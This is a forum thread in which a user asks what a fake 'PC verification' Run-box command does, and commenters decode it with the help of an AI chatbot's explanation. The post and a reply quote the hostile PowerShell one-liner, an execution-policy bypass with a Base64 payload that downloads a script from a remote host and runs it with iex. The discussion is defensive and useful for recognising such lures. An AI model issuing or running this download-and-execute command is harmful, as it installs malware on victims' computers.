What does this command do that this website wants me to "verify" myself by running in the run window?

a year ago by StarvingMartist to c/windows11

Yeah don't put this in but can anyone give me an idea of what they were trying to do? the website was https:\howchoo.\com\3dprinting\updating-octoprint
and used a real pc verification screen to try to get me to put this in Run

conhost cmd /c powershell /ep bypass /e JABzAGkAdABlACAAPQAgAEkAbgB2AG8AawBlAC0AUgBlAHMAdABNAGUAdABoAG8AZAAgACcAaAB0AHQAcABzADoALwAvAG0AYQBzAHQAcgBhAHcALgB0AG8AcAAvAG0AZQAvAGQAYQB5ACcAOwAgAGkARQB4ACAAJABzAGREDACTED== /W 1

load all comments

Pyro 10 points a year ago

One of the moments that Ai can be good. I asked googled gemni

This command is highly malicious and is designed to execute a script downloaded from a remote server. Here's a breakdown of what each part does:

conhost cmd /c: This part starts a new command prompt window (cmd) and then immediately executes the following command (/c) within it. conhost is a legitimate Windows process, but here it's being used as a wrapper.

powershell /ep bypass /e JABzAGkAdABlACAAPQAgAEkAbgB2AG8AawBlAC0AUgBlAHMAdABNAGUAdABoAG8AZAAgACcAaAB0AHQAcwA6AC8ALwBtAGEAcwB0AHIAYQB3AC4AdABvAHAA LwBtAGUvAGQAYQB5ACcAOwAgAGkARQB4ACAAJABzAGkAdABlAA==: This is the core malicious part.
powershell: Invokes the PowerShell interpreter.

/ep bypass: This is crucial. /ep stands for "execution policy." bypass tells PowerShell to bypass its execution policy, meaning it will run any script regardless of the local security settings that might otherwise prevent untrusted scripts from running. This is a common tactic for malware.

/e JABzAGkAdABlACAAPQAgAEkAbgB2AG8AawBlAC0AUgBlAHMAdABNAGUAdABoAG8AZAAgACcAaAB0AHQAcwA6AC8ALwBtAGEAcwB0AHIAYQBhAC4AdABvAHAA LwBtAGUvAGQAYQB5ACcAOwAgAGkARQB4ACAAJABzAGkAdABlAA==: The /e switch indicates that the following string is an encoded command. The string JABzAGkAdABlACAAPQAgAEkAbgB2AG8AawBlAC0AUgBlAHMAdABNAGUAdABoAG8AZAAgACcAaAB0AHQAcwA6AC8ALwBtAGEAcwB0AHIAYQB3AC4AdABvAHAA LwBtAGUvAGQAYQB5ACcAOwAgAGkARQB4ACAAJABzAGkAdABlAA== is a Base64 encoded string. Let's decode the Base64 string to see the actual PowerShell command: Decoded PowerShell command: $site = Invoke-RestMethod 'https: //mastraw.top/me/day'; iex $site Now we can fully understand the malicious intent:

$site = Invoke-RestMethod '# https: //mastraw.top/me/day': This command uses Invoke-RestMethod to download content from the URL 'https://mastraw/. top/me/day' . This URL is likely hosting a malicious PowerShell script or some other form of executable code.

; iex $site: The semicolon acts as a command separator. iex is an alias for Invoke-Expression. This command takes the content downloaded from 'https://mastraw.top/. /me/day' (which is stored in the $site variable) and executes it directly as a PowerShell command. In summary, this command is designed to:

Bypass PowerShell's security restrictions.

Download a script from a specific remote website '(https. ://mastraw.top/me/day)' .

Immediately execute that downloaded script on the victim's computer. The content of the script downloaded from' https :// mastraw.top/me/day' is unknown without accessing that URL, but given the nature of this command, it's almost certainly malicious. It could be anything from a ransomware dropper, a keylogger, a remote access trojan (RAT), or a cryptocurrency miner. If you encountered this on a computer, it is highly compromised and should be immediately isolated from the network and professionally cleaned or reimaged.

Edit:added back tick to urls

save

path: 0 17848845, hotness: undefined, score: 10, children: 18

otter 3 points a year ago

Could you surround the links with backticks to make them code blocks? That would prevent someone from accidentally clicking it

save

path: 0 17848845 17850317, hotness: undefined, score: 3, children: 2

Ricaz 2 points a year ago

Doesn't really matter if anyone clicks it, you would need to execute the script to be compromised.

save

path: 0 17848845 17850317 17854416, hotness: undefined, score: 2, children: 0

StarvingMartist 2 points a year ago

Sure, thanks for the heads up

save

path: 0 17848845 17850317 17852390, hotness: undefined, score: 2, children: 0

geekwithsoul 1 point a year ago

You needed an LLM to figure out this was malware?! Sweet jesus, we're well and truly fucked.

save

path: 0 17848845 17849133, hotness: undefined, score: 1, children: 14

otter 4 points a year ago

It did speed up the process of looking it up and confirming that it is malware.

LLMs are decent at pattern recognition, and so it pulled up relevant keywords associated with each part of the command. You can then look up the important section to verify. It's also something that a simple and locally hosted LLM could do.

I wouldn't run a random command, but confirming that it is malware would let me take further action to block the site / report it / help a family member that already ran the command

save

path: 0 17848845 17849133 17850290, hotness: undefined, score: 4, children: 4

redsunrise 3 points a year ago

Right? Tech literacy is dead and smartphones killed it

save

path: 0 17848845 17849133 17849586, hotness: undefined, score: 3, children: 1

StarvingMartist 1 point a year ago

Chill out you, we all know it was malware, but llms are actually a tool in this use case to find out more about it without executing the code.

I don't like AI anymore than the next guy but this is just a silly response

save

path: 0 17848845 17849133 17852404, hotness: undefined, score: 1, children: 6